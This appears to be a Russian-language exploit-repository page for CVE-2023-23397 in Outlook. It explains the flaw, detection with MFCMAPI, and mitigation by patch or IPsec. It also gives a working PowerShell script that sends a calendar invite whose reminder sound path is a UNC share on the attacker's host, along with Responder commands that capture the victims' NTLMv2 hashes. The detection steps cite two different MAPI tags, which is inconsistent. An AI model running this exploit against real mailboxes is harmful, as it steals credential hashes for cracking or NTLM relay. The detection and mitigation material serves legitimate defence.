## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GILOSPY-CVE-2023-23397
# CVE-2023-23397 Демонстрация эксплуатации и смягчения
## 📌 Обзор
Этот проект демонстрирует обнаружение, эксплуатацию и смягчение **CVE-2023-23397** — критической уязвимости нулевого клика для ретрансляции NTLM в Microsoft Outlook для Windows. Эксплуатируемая через приглашения в календаре, эта уязвимость позволяет злоумышленникам перехватывать хэши NTLMv2 **без какого-либо взаимодействия с пользователем**.
> 🛡️ **Оценка CVSS:** 9.8 (Критическая)
> 🖥️ **Затронутые версии:** Outlook 2013, 2016, 2019, Microsoft 365 (до патча от 14 марта 2023 года)
* * *
## ⚠️ Детали уязвимости
Напоминания календаря Outlook можно настроить на воспроизведение пользовательских звуков через свойство MAPI `PidLidReminderFileParameter`. Outlook не проверяет UNC-пути, что позволяет отправлять удаленные SMB-запросы при срабатывании напоминаний.
root@kitploit:~
\\attacker-ip\share\sound.wav
Это приводит к отправке хэшей NTLMv2 на серверы, контролируемые злоумышленником, которые затем могут:
* быть взломаны офлайн (восстановление пароля)
* использоваться в атаках ретрансляции NTLM для повышения привилегий
* * *
## 🔍 Метод обнаружения
Используйте **MFCMAPI** для проверки элементов календаря и поиска вредоносных значений в `PidLidReminderFileParameter` (тег MAPI `0x851F001F`).
### Шаги:
1. Откройте MFCMAPI → `Быстрый запуск > Открыть папку > Календарь`
2. Перейдите в `Таблица > Установить столбцы`
3. Добавьте тег свойства `0x808A001F` для просмотра путей к файлам напоминаний
4. Ищите UNC-пути как признак компрометации
* * *
## 🛠️ Методы смягчения
### 1\. Установите патч Microsoft (рекомендуется)
Установите патч от 14 марта 2023 года (например, KB5002044). Патч вводит:
* `IsFileZoneLocalIntranetOrTrusted()` для проверки путей к файлам напоминаний
* Параметры групповой политики для определения доверенных доменов
**Результат теста:**
Outlook будет регистрировать **событие с ID 1008** и блокировать доступ к недоверенным SMB-путям.
* * *
### 2\. Смягчение на уровне сети IPsec (временное)
#### a. Блокировать весь SMB
* Блокирует исходящий TCP 445 (SMB)
* Предотвращает утечку NTLM в недоверенные сети
#### b. Разрешить только доверенные IP
* Определите внутренние IP (например, `192.168.1.0/24`)
* Обеспечьте непрерывность бизнеса для внутреннего использования SMB
📂 Готовая политика: OutlookMitigation.ipsec
* * *
## 💻 Настройка проекта
### Окружение
Система| Имя пользователя| Пароль
---|---|---
Kali Linux| kali| kali
Windows 10 VM| CVE-2023-23397| vbox@123
Email Account| some-email@example.com
* * *
### Атакующий (Kali Linux)
root@kitploit:~
sudo apt install responder
sudo responder -I eth0 -v
Убедитесь, что Kali и виртуальная машина жертвы находятся в одной сети.
* * *
### Жертва (Windows + Outlook 2013)
1. Установите:
* Outlook 2013
* .NET 2.0
* hMailServer
* MFCMAPI
2. Настройте:
* Домен hMailServer: `exploit.com`
* Пользователь email: `some-email@example.com`
* * *
### 🚨 Эксплуатация (PowerShell скрипт)
root@kitploit:~
# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("some-email@example.com") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder перехватит хэш NTLMv2 с системы жертвы.
* * *
## ✅ Проверка
### Обнаружение
* Используйте MFCMAPI, чтобы подтвердить, что `PidLidReminderFileParameter` содержит UNC-путь.
### Смягчение
* Примените патч или политику IPsec.
* Запустите скрипт снова: Outlook может показать напоминание, но **хэш NTLM не должен быть перехвачен**.
* * *
## ❗ Ограничения
* Блокировка всего SMB-трафика может повлиять на легитимные службы (общий доступ к файлам, аутентификация в домене)
* Поддержание списка доверенных IP может стать операционно сложным
* * *